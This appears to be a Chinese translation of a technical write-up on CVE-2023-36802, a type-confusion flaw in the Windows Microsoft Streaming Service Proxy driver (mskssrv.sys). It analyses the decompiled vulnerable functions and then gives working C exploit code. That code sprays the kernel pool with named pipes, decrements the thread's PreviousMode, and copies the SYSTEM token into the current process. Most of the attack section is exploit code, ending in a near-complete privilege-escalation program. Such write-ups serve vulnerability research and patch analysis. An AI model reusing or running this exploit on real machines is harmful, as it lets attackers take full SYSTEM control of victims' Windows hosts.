Microsoft 流式处理代理权限提升漏洞(CVE-2023-36802)分析
2023-11-30 18:18:0 Author: paper.seebug.org(查看原文) 阅读量:25 收藏

原文链接:Microsoft Streaming Service Proxy Elevation of Privilege Vulnerability (CVE-2023-36802)
译者:知道创宇404实验室翻译组

2023年1月10日,MSRC披露了Microsoft Streaming Service Proxy (mskssrv.sys)中的一个提权漏洞。随后,IBM X-Force的@chompie发布了关于该漏洞研究结果。

在该研究中,利用了Yarden Sharif公开的IoRing Primitive中的一个向任意地址写入0x2的漏洞,并将其扩展为向任意地址写入所需数值的Full AAW/AAR。通过这种方式实现了提权。随后,Google的Project Zero分析了此漏洞的In-the-Wild案例并进行了进行了披露

本文将介绍Google Project Zero分析的在野案例的实现过程。

受影响版本

  • mskssrv.sys (~10.0.22621.1848)

在深入分析驱动程序漏洞以触发之前,需要与该驱动程序进行通信。

通常,为了与驱动程序通信,需要了解设备名称以获取句柄,然后使用DeviceIoControl函数触发所需的功能。

为此,通常会分析驱动程序以查看IoCreateDevice的第三个参数DeviceName。但从下面的函数中可以看出,mskssrv.sys驱动程序与通常情况有所不同。

img

系统文件

IoCreateDevice函数的参数显示DeviceName参数为NULL。

另外,从函数名称可以推断出,mskssrv.sys驱动程序是一个即插即用(PnP)驱动程序。要与这种PnP驱动程序通信,需要设备接口路径。

获取设备接口路径有两种方式:一种是使用配置管理器函数,另一种是使用SetupAPI函数。

通过设备管理器查看设备的信息,可以获取与GUID相关的信息。

img

#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>

int main(int argc, char** argv)
{
    GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };

    WCHAR interface_list[1024] = { 0 };
    CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
    if (status != CR_SUCCESS) {
        printf("fail to get path\n");
        return -1;
    }
    WCHAR* currInterface = interface_list;
    while (*currInterface) {
        printf("%ls\n", currInterface);
        currInterface += wcslen(currInterface) + 1;
    }
}

根据获得的GUID信息构建函数,执行后可以获取与mskssrv.sys驱动程序通信的设备接口路径为 \?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

img

__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
    ...
    fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
    foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject);                                        // no type check
    KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
    if ( foundObject )
    {
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
        returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
        if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
        {
              FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp);                // type confusion!!
              a2->IoStatus.Information = 24i64;
        }
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
    }
    else
    {
        return 0xC0000010;
    }
    return (unsigned int)returnStatus;
}

mskssrv.sys驱动程序中有两个对象,一个是大小为0x78的FSContextReg对象,另一个是大小为0x1d8的FSStreamReg对象。

FSRendezvousServer::FindObject函数最初设计用于检查是否存在FSStreamReg对象,然后调用下面的FSStreamReg::PublishRx函数。但是,在内部没有检查传入对象的类型的例程。

因此,即使将FSContextReg对象作为参数传递给FSRendezvousServer::FindObject函数,它仍然会返回1,并且通过以下条件,将FSContextReg对象作为参数传递给FSStreamReg::PublishRx函数,从而导致类型混淆(type confusion)漏洞的产生。

__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
    ...
    framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188);                            // out of bound read
    ...
    for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
    {
        if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
          *((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
        while ( 1 )
        {
          currentFrame = *((_QWORD *)streamRegInstance + 0x33);
          if ( !currentFrame
            || (_QWORD *)*framesQueuePointer == framesQueuePointer
            || (_QWORD *)currentFrame == framesQueuePointer )
          {
            break;
          }
          if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
          {
            currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
            FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
            if ( currentFrameSize )
            {
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39));                                // out of bound decrement
            }
            framesUnmappedFlag = 1;
          }
          FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
        }
    }
    ...
    if ( framesUnmappedFlag )
    {
        keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
        if ( keventPointer )
          KeSetEvent(keventPointer, 0, 0);
    }
    ...
}

FSStreamReg::PublishRx函数内部,假设传入的对象是大小为0x1D8的FSStreamReg对象,并参考其+0x188、+0x198+0x1C8处的值来执行操作。但是,如果传入的对象是大小为0x78FSContextReg对象,那么就会进行越界操作。

Primitive

FSStreamReg::PublishRx函数中,针对+0x1C8处的地址执行ObfDereferenceObject函数。通过Heap Feng Shui,使得该地址的值可以被控制,ObfDereferenceObject函数将KTHREAD的PreviousMode字段从1减少到0。

如果PreviousMode为0,即内核模式,那么就可以通过NtReadVirtualMemory函数和NtWriteVirtualMemory函数读取和写入内核地址的值。

Exploit flow

使用已知的设备接口路径打开mskssrv.sys驱动程序。

使用NtQuerySystemInformation(SystemExtendedHandleInformation,...)函数获取一些内核地址:

  • 当前KTHREAD地址(PreviousMode的地址)
  • 当前进程和系统进程的EPROCESS地址(当前进程和系统进程的Token地址)
  • mskssrv设备的FILE_OBJECT地址

参考已知的pool spray技术,使用NtFsControlFile函数以0x119ff8 IOCTL0x80大小的pool spray到内核。

关闭几个Pipe来在pool中创建空隙。

调用IOCTL_FS_INIT_CONTEXT IOCTL

  • FSInitializeContextRendezvous函数内部调用FSRendezvousServer::InitializeContext函数以初始化FSContextReg对象,由于FSContextReg对象大小为0x78,它会被分配到我们创建的空隙中。
  • 在另一个线程中调用IOCTL_PUBLISH_RX IOCTL
  • FSStreamReg::PublishRx函数中,本应期望接收大小为0x1d8的FSStreamReg对象,但传入的是大小为0x78的FSContextReg对象,导致针对受控数据执行操作。
  • FSStreamReg::PublishRx函数针对超出FSContextReg对象范围的对象调用ObfDereferenceObject函数,从而使PreviousMode减少为0。

在主线程上执行工作。

  • 通过NtReadVirtualMemory函数循环读取系统进程的令牌。
  • 如果PreviousMode减少为0,则NtReadVirtualMemory函数成功执行。
  • 通过NtWriteVirtualMemory函数将系统进程令牌的值写入当前进程的令牌。
  • 获取FILE_OBJECTFSContext2字段地址以获取FSContextReg的地址。
  • KeSetEvent时,通过ProcessBilledProcessBilled的值避免异常情况发生。
  • 执行后续操作并将PreviousMode恢复为1,实现以系统权限运行命令。

代码利用流程

使用已知的设备接口路径打开mskssrv.sys驱动程序。

hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    CREATE_NEW,
    0,
    NULL);
  • NtQuerySystemInformation(SystemExtendedHandleInformation,...)使用函数查找一些内核地址
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
    printf("\t[-] NtQuerySystemInformation failed\n");
    free(handleInfo);
    return -1;
}

for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
    if (handleInfo->Handles[i].HandleValue == cReg &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
    }
    if (handleInfo->Handles[i].HandleValue == hProc &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
        cur_token = cur_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == 4 &&
        handleInfo->Handles[i].HandleValue == 4) {
        system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
        system_token = system_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
        handleInfo->Handles[i].HandleValue == hMainThread) {
        main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
        main_prevmode = main_kthread + 0x232;
    }
}

64代表SystemExtendedHandleInformation

根据句柄类型,如果是线程句柄,其对应的线程对象地址即KTHREAD的地址;如果是文件句柄,对应的文件对象地址即FILE_OBJECT的地址;如果是进程句柄,对应的进程对象地址即EPROCESS的地址,都会被存储在该句柄的Object字段中。

使用已知的pool spray技术,使用NtFsControlFile函数,并通过0x119ff8 IOCTL进行0x80大小的pool spray。

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

通过NpInternalWrite而不是WriteFile分配用户数据时,会在pool中分配Buffered Entries。这样会导致在用户数据之前的0x30字节处分配无法控制的DATA_QUEUE_ENTRY到pool中。

然而,如果通过NtFsControlFile函数调用NpInternalWrite,则会分配Unbuffered Entries到pool中。只有用户数据空间会被分配到pool中,使得可以控制空间中的所有值。

在此之前,关闭几个Pipe以在pool中创建空隙。

for (int i = spray_size-0x20;i < spray_size;i += 4)
{
    CloseHandle(tmp[i]);        // create hole
    CloseHandle(hPipeArray[i]);
}
  • IOCTL_FS_INIT_CONTEXT调用IOCTL
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

调用该函数后,FSContextReg对象将分配到先前创建的空隙中。

接着,另一个线程调用IOCTL_PUBLISH_RX IOCTL

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

img

因为InBuf中有一个必须是1或更大的值,所以必须正确匹配。

此外,为了使在+0x1a8处的ProcessBilled值被覆盖为NULL之前,可以无限循环,需要在之前对已经spray到pool的数据进行适当的调整。

FSFrameMdlList::MoveNext函数将+0x198处的值放入+0x198中,并引用该地址执行操作。

为了创建环境,spray如下所示。

img

最理想的情况是,在分配了FSContextReg之后,分配了至少3个pipe缓冲区。

0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
 ffff938927724000 size:  280 previous size:    0  (Free)       ....
*ffff938927724280 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffff938927724310 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277243a0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724430 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277244c0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724550 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0

在初始spray时,将PreviousMode的地址放置在+0x18处,将0x680x78处的假框架地址进行循环引用,从而形成无限循环,降低PreviousMode可能性。

然而,由于PreviousMode的值为1,ObfDereferenceObject仅执行一次。如果陷入无限循环,它会不断减少。

可以利用currentFrame+0xD0为0时不执行ObfDereferenceObject的特性来解决问题。

首先,在第一个假框架fs1中将+0xD0的值设置为1,并将fs1的地址放置在FSContextReg对象的+0x188处,这将导致执行ObfDereferenceObject

然后,在+0x198处放置fs2的地址,并将fs2的+0xD0设置为0,这样在下一个循环中将不会执行ObfDereferenceObject,而是执行FSFrameMdlList::MoveNext

FSFrameMdlList::MoveNext函数内部,将fs2的最前端地址设置为Next,然后将fs3的地址放置在fs2的最前端。同样地,将fs3的+0xD0的值设置为0,并将fs3的最前端设置为fs2的地址,以形成循环引用。

经过上述步骤,PreviousMode将被降低为0并陷入无限循环。

以下是按照这种条件构建和spray缓冲区的代码。

fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;

ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

PreviousMode+0x30输入地址的原因

LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
    ...
    if ( ObpTraceFlags )
        ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
    v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64);    // operate -1
    v3 = v2 <= 1;
    BugCheckParameter4 = v2 - 1;
    if ( !v3 )
        return BugCheckParameter4;
    ...
}

ObfDereferenceObject函数执行时,针对传入的Object-0x30值执行了-1操作,因此需要将发现的PreviousMode地址增加0x30,这样才能使PreviousMode的值减1。

在主线程上执行工作

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

NtReadVirtualMemory持续尝试,直到成功为止。一旦成功,进行令牌复制并进行恢复,从而实现特权升级。

  • 获取FSContextReg对象地址的方法

img

FileObject的地址是通过NtQuerySystemInformation函数获得的,因此只需找到FILE_OBJECT结构中的FsContext2字段的地址即可。

struct _FILE_OBJECT
{
    SHORT Type;                                                             //0x0
    SHORT Size;                                                             //0x2
    struct _DEVICE_OBJECT* DeviceObject;                                    //0x8
    struct _VPB* Vpb;                                                       //0x10
    VOID* FsContext;                                                        //0x18
    VOID* FsContext2;                                                       //0x20 <- here
    struct _SECTION_OBJECT_POINTERS* SectionObjectPointer;                  //0x28
    VOID* PrivateCacheMap;                                                  //0x30
    LONG FinalStatus;                                                       //0x38
    struct _FILE_OBJECT* RelatedFileObject;                                 //0x40
    UCHAR LockOperation;                                                    //0x48
    UCHAR DeletePending;                                                    //0x49
    UCHAR ReadAccess;                                                       //0x4a
    UCHAR WriteAccess;                                                      //0x4b
    UCHAR DeleteAccess;                                                     //0x4c
    UCHAR SharedRead;                                                       //0x4d
    UCHAR SharedWrite;                                                      //0x4e
    UCHAR SharedDelete;                                                     //0x4f
    ULONG Flags;                                                            //0x50
    struct _UNICODE_STRING FileName;                                        //0x58
    union _LARGE_INTEGER CurrentByteOffset;                                 //0x68
    ULONG Waiters;                                                          //0x70
    ULONG Busy;                                                             //0x74
    VOID* LastLock;                                                         //0x78
    struct _KEVENT Lock;                                                    //0x80
    struct _KEVENT Event;                                                   //0x98
    struct _IO_COMPLETION_CONTEXT* CompletionContext;                       //0xb0
    ULONGLONG IrpListLock;                                                  //0xb8
    struct _LIST_ENTRY IrpList;                                             //0xc0
    VOID* FileObjectExtension;                                              //0xd0
};

+0x20存在于偏移处

完整的漏洞利用代码

github地址

#include "defs.h"

#define IOCTL_FS_INIT_CONTEXT    0x2F0400
#define IOCTL_PUBLISH_RX        0x2F040C

#define SPRAY_SIZE 20000

HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;

typedef struct fake_stream_ {
    ULONG_PTR data[0x3b];
}fake_stream;

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

int main(int argc, char** argv)
{
    printf("[+] Start CVE-2023-36802 Exploit..\n");
    HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtDll) {
        printf("\t[-] Failed to get ntdll handle.\n");
        return -1;
    }

    NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
    NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
    if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
        printf("\t[-] Failed to get Nt function address.\n");
        return -1;
    }

    // Open mskssrv device
    hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    // Leak required kernel address
    ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
    PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
    DWORD main_threadId;
    hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);

    cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
    while (status == STATUS_INFO_LENGTH_MISMATCH) {
        free(handleInfo);
        handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

        if (!handleInfo) {
            printf("\t[-] Memory allocation failed\n");
            return -1;
        }

        status = NtQuerySystemInformation(64, handleInfo, len, &len);
    }
    if (!NT_SUCCESS(status)) {
        printf("\t[-] NtQuerySystemInformation failed\n");
        free(handleInfo);
        return -1;
    }

    for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].HandleValue == cReg &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
        }
        if (handleInfo->Handles[i].HandleValue == hProc &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
            cur_token = cur_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == 4 &&
            handleInfo->Handles[i].HandleValue == 4) {
            system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
            system_token = system_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
            handleInfo->Handles[i].HandleValue == hMainThread) {
            main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
            main_prevmode = main_kthread + 0x232;
        }
    }

    // Spraying pool
    DWORD spray_size = SPRAY_SIZE;
    PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
    PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
    IO_STATUS_BLOCK isb;

    fake_stream fs1 = { 0 };
    fake_stream fs2 = { 0 };
    fake_stream fs3 = { 0 };
    fs1.data[0] = &fs2;
    fs1.data[0x1a] = 0x1;
    fs2.data[0] = &fs3;
    fs3.data[0] = &fs2;

    ULONG_PTR Inbuf[0x20] = { 0 };
    Inbuf[3] = main_prevmode + 0x30;
    Inbuf[0xd] = &fs1;
    Inbuf[0xf] = &fs2;

    NTSTATUS s;
    HANDLE tmp[SPRAY_SIZE] = { 0 };
    for (int i = 0;i < spray_size;i++) {
        hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
            PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

        tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

        s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
        if (!NT_SUCCESS(s)) {
            printf("\t[-] pool spraying failed, %p\n", s);
            return -1;
        }
    }

    //Create Holes
    for (int i = spray_size-0x20;i < spray_size;i += 4)
    {
        CloseHandle(tmp[i]);        // create hole
        CloseHandle(hPipeArray[i]);
    }

    ULONG_PTR InitBuf[0x20] = { 0 };
    InitBuf[0] = 0xdeadbeef;            // &1 != 0
    InitBuf[1] = 0xdeadbeef1;            // non-zero value
    InitBuf[2] = 0xdeadbeef2;            // non-zero value
                                        // InitBuf[3] = 0

    // Put FsContextReg in Hole
    DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

    DWORD sep_threadId;
    HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

    WaitForSingleObject(hMainThread, INFINITE);
    WaitForSingleObject(hSepThread, INFINITE);

    for (int i = 0;i < spray_size;i++) {
        if (tmp[i]) CloseHandle(tmp[i]);
        if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
    }
